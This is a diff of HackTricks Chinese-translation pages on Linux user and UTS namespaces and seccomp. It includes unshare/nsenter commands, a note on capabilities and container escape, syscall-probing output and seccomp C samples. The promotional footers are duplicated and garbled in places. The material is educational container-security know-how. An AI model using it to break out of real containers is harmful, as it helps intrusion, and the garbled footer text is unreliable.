4. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWUSER`标志的`unshare()`或`clone()`系统调用创建新命名空间。当进程移动到新命名空间或创建一个时,它将开始使用与该命名空间关联的用户和组ID映射。
|
||||
1. 当创建一个新的用户命名空间时,它**以一个空的用户和组 ID 映射集开始**。这意味着在新的用户命名空间中运行的任何进程**最初在命名空间外没有权限**。
|
||||
2. 可以在新命名空间中的用户和组 ID 与父(或主机)命名空间中的 ID 之间建立 ID 映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组 ID 对应的权限和所有权**。然而,ID 映射可以限制在特定范围和子集的 ID 上,从而对新命名空间中进程所授予的权限进行细粒度控制。
|
||||
3. 在用户命名空间内,**进程可以在命名空间内拥有完全的根权限(UID 0)**,同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似根的能力运行,而不在主机系统上拥有完全的根权限**。
|
||||
4. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或使用带有 `CLONE_NEWUSER` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时,它将开始使用与该命名空间关联的用户和组 ID 映射。
|
||||
|
||||
## 实验:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### 命令行界面
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -U [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间具有**准确且独立的进程信息视图,特定于该命名空间**。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行`unshare`时没有使用`-f`选项时,会遇到错误,这是由于Linux处理新PID(进程ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程变为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在此新命名空间中,防止PID 1过早退出,并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,新的PID命名空间得以正确维护,使`/bin/bash`及其子进程能够正常运行,避免遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,20 +70,20 @@ sudo unshare -U [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
要使用用户命名空间,Docker 守护程序需要使用 **`--userns-remap=default`** 启动(在 Ubuntu 14.04 中,可以通过修改 `/etc/default/docker` 然后执行 `sudo service docker restart` 来完成)
|
||||
要使用用户命名空间,Docker 守护进程需要使用 **`--userns-remap=default`** 启动(在 Ubuntu 14.04 中,可以通过修改 `/etc/default/docker` 来完成,然后执行 `sudo service docker restart`)
|
||||
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/user
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||
```
|
||||
可以使用以下命令检查 Docker 容器中的用户映射:
|
||||
可以通过以下命令检查docker容器中的用户映射:
|
||||
```bash
|
||||
cat /proc/self/uid_map
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
```
|
||||
或者从主机执行:
|
||||
或从主机使用:
|
||||
```bash
|
||||
cat /proc/<pid>/uid_map
|
||||
```
|
||||
|
@ -94,7 +101,7 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
|
|||
```bash
|
||||
nsenter -U TARGET_PID --pid /bin/bash
|
||||
```
|
||||
另外,只有**作为root用户**才能**进入另一个进程命名空间**。而且,**没有指向它的描述符**(比如`/proc/self/ns/user`),你**无法进入**其他命名空间。
|
||||
也就是说,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间(例如 `/proc/self/ns/user`)。
|
||||
|
||||
### 创建新的用户命名空间(带映射)
|
||||
|
||||
|
@ -112,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
|||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||
```
|
||||
### 恢复权限
|
||||
### 恢复能力
|
||||
|
||||
在用户命名空间的情况下,**当创建一个新的用户命名空间时,进入该命名空间的进程将在该命名空间内被授予完整的权限集**。这些权限允许进程执行特权操作,如**挂载文件系统**、创建设备或更改文件所有权,但**仅限于其用户命名空间的上下文**。
|
||||
在用户命名空间的情况下,**当创建一个新的用户命名空间时,进入该命名空间的进程会被授予该命名空间内的完整能力集**。这些能力允许进程执行特权操作,例如**挂载** **文件系统**、创建设备或更改文件的所有权,但**仅在其用户命名空间的上下文中**。
|
||||
|
||||
例如,当您在用户命名空间中拥有`CAP_SYS_ADMIN`权限时,您可以执行通常需要此权限的操作,比如挂载文件系统,但仅限于您的用户命名空间的上下文。您使用此权限执行的任何操作都不会影响主机系统或其他命名空间。
|
||||
例如,当你在用户命名空间内拥有 `CAP_SYS_ADMIN` 能力时,你可以执行通常需要此能力的操作,如挂载文件系统,但仅在你的用户命名空间的上下文中。你使用此能力执行的任何操作都不会影响主机系统或其他命名空间。
|
||||
|
||||
{% hint style="warning" %}
|
||||
因此,即使在新的用户命名空间中获得一个新进程**将使您恢复所有权限**(CapEff: 000001ffffffffff),实际上您**只能使用与命名空间相关的权限**(例如挂载),而不是所有权限。因此,仅凭这一点是不足以逃离 Docker 容器的。
|
||||
因此,即使在新的用户命名空间内获取一个新进程**会让你恢复所有能力**(CapEff: 000001ffffffffff),你实际上**只能使用与命名空间相关的能力**(例如挂载),而不是所有能力。因此,仅凭这一点不足以逃离 Docker 容器。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# There are the syscalls that are filtered after changing User namespace with:
|
||||
|
@ -143,21 +150,29 @@ Probando: 0x130 . . . Error
|
|||
Probando: 0x139 . . . Error
|
||||
Probando: 0x140 . . . Error
|
||||
Probando: 0x141 . . . Error
|
||||
Probando: 0x143 . . . Error
|
||||
```
|
||||
## 参考资料
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,72 @@
|
|||
# UTS Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
UTS(UNIX Time-Sharing System)命名空间是Linux内核的一个功能,提供了两个系统标识符的**隔离**:**主机名**和**NIS**(网络信息服务)域名。这种隔离允许每个UTS命名空间具有其**独立的主机名和NIS域名**,在容器化场景中特别有用,其中每个容器应该看起来像一个具有自己主机名的独立系统。
|
||||
UTS(UNIX时间共享系统)命名空间是Linux内核的一个特性,它提供了两个系统标识符的**隔离**:**主机名**和**NIS**(网络信息服务)域名。这种隔离允许每个UTS命名空间拥有**自己独立的主机名和NIS域名**,这在容器化场景中特别有用,因为每个容器应该表现为一个具有自己主机名的独立系统。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新的UTS命名空间时,它会从其父命名空间**复制主机名和NIS域名**。这意味着,在创建时,新命名空间**与其父命名空间共享相同的标识符**。但是,在命名空间内对主机名或NIS域名进行的任何后续更改都不会影响其他命名空间。
|
||||
2. 在UTS命名空间内,进程可以使用`sethostname()`和`setdomainname()`系统调用**更改主机名和NIS域名**。这些更改仅在命名空间内部有效,不会影响其他命名空间或主机系统。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWUTS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的主机名和NIS域名。
|
||||
1. 当创建一个新的UTS命名空间时,它会以**从其父命名空间复制的主机名和NIS域名**开始。这意味着在创建时,新的命名空间**共享与其父命名空间相同的标识符**。然而,命名空间内对主机名或NIS域名的任何后续更改将不会影响其他命名空间。
|
||||
2. UTS命名空间内的进程**可以使用`sethostname()`和`setdomainname()`系统调用分别更改主机名和NIS域名**。这些更改是本地的,不会影响其他命名空间或主机系统。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWUTS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的主机名和NIS域名。
|
||||
|
||||
## 实验:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### 命令行
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -u [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间具有**准确且独立的进程信息视图,特定于该命名空间**。
|
||||
通过挂载一个新的 `/proc` 文件系统,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有**特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行`unshare`时没有使用`-f`选项时,会遇到错误,这是由于Linux处理新PID(进程ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程变为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。Linux内核随后会在该命名空间中禁用PID分配。
|
||||
- Linux 内核允许一个进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为“unshare”进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生“无法分配内存”的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在此新命名空间中,防止PID 1过早退出,并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,新的PID命名空间得以正确维护,使`/bin/bash`及其子进程能够正常运行,避免遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,7 +74,7 @@ sudo unshare -u [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/uts
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||
|
@ -77,28 +91,47 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | g
|
|||
|
||||
### 进入 UTS 命名空间
|
||||
```bash
|
||||
nsenter -u TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有**root用户**才能**进入另一个进程命名空间**。而且,**没有指向它的描述符**(如`/proc/self/ns/uts`),你**无法**进入其他命名空间。
|
||||
|
||||
### 更改主机名
|
||||
```bash
|
||||
unshare -u /bin/bash
|
||||
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
||||
```
|
||||
## 参考资料
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,39 @@
|
|||
# Seccomp
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Seccomp**,全称Secure Computing mode,是**Linux内核的安全功能,旨在过滤系统调用**。它将进程限制在一组有限的系统调用上(`exit()`、`sigreturn()`、`read()`和`write()`,用于已打开的文件描述符)。如果进程尝试调用其他内容,内核将使用SIGKILL或SIGSYS终止该进程。该机制不会虚拟化资源,而是将进程与资源隔离开来。
|
||||
**Seccomp**,即安全计算模式,是**Linux内核的一个安全特性,旨在过滤系统调用**。它将进程限制在一组有限的系统调用中(对于已打开的文件描述符,`exit()`、`sigreturn()`、`read()`和`write()`)。如果进程尝试调用其他任何内容,内核将使用SIGKILL或SIGSYS终止该进程。该机制并不虚拟化资源,而是将进程与其隔离。
|
||||
|
||||
有两种激活seccomp的方式:通过`prctl(2)`系统调用使用`PR_SET_SECCOMP`,或者对于Linux内核3.17及以上版本,使用`seccomp(2)`系统调用。通过向`/proc/self/seccomp`写入以启用seccomp的旧方法已被弃用,推荐使用`prctl()`。
|
||||
激活seccomp有两种方法:通过`prctl(2)`系统调用与`PR_SET_SECCOMP`,或者对于3.17及以上版本的Linux内核,使用`seccomp(2)`系统调用。通过写入`/proc/self/seccomp`启用seccomp的旧方法已被弃用,取而代之的是`prctl()`。
|
||||
|
||||
一种增强功能**seccomp-bpf**,增加了使用伯克利数据包过滤器(BPF)规则自定义策略来过滤系统调用的能力。此扩展被软件如OpenSSH、vsftpd以及Chrome OS和Linux上的Chrome/Chromium浏览器所利用,用于灵活高效地过滤系统调用,提供了对于Linux中现在不再支持的systrace的替代方案。
|
||||
一个增强功能,**seccomp-bpf**,增加了使用可定制策略过滤系统调用的能力,使用伯克利数据包过滤器(BPF)规则。此扩展被OpenSSH、vsftpd以及Chrome OS和Linux上的Chrome/Chromium浏览器等软件利用,以实现灵活高效的系统调用过滤,提供了对现在不再支持的Linux systrace的替代方案。
|
||||
|
||||
### **原始/严格模式**
|
||||
|
||||
在此模式下,Seccomp**仅允许系统调用**`exit()`、`sigreturn()`、`read()`和`write()`用于已打开的文件描述符。如果进行任何其他系统调用,进程将被使用SIGKILL终止。
|
||||
在此模式下,Seccomp **仅允许系统调用** `exit()`、`sigreturn()`、`read()`和`write()`对已打开的文件描述符。如果进行任何其他系统调用,进程将使用SIGKILL被终止。
|
||||
|
||||
{% code title="seccomp_strict.c" %}
|
||||
```c
|
||||
|
@ -58,9 +67,11 @@ int input = open("output.txt", O_RDONLY);
|
|||
printf("You will not see this message--the process will be killed first\n");
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Seccomp-bpf
|
||||
|
||||
这种模式允许使用使用伯克利数据包过滤器规则实现的可配置策略来过滤系统调用。
|
||||
此模式允许**使用可配置策略过滤系统调用**,该策略是使用伯克利数据包过滤器规则实现的。
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```c
|
||||
|
@ -110,31 +121,33 @@ seccomp_release(ctx);
|
|||
printf("this process is %d\n", getpid());
|
||||
}
|
||||
```
|
||||
## Docker中的Seccomp
|
||||
{% endcode %}
|
||||
|
||||
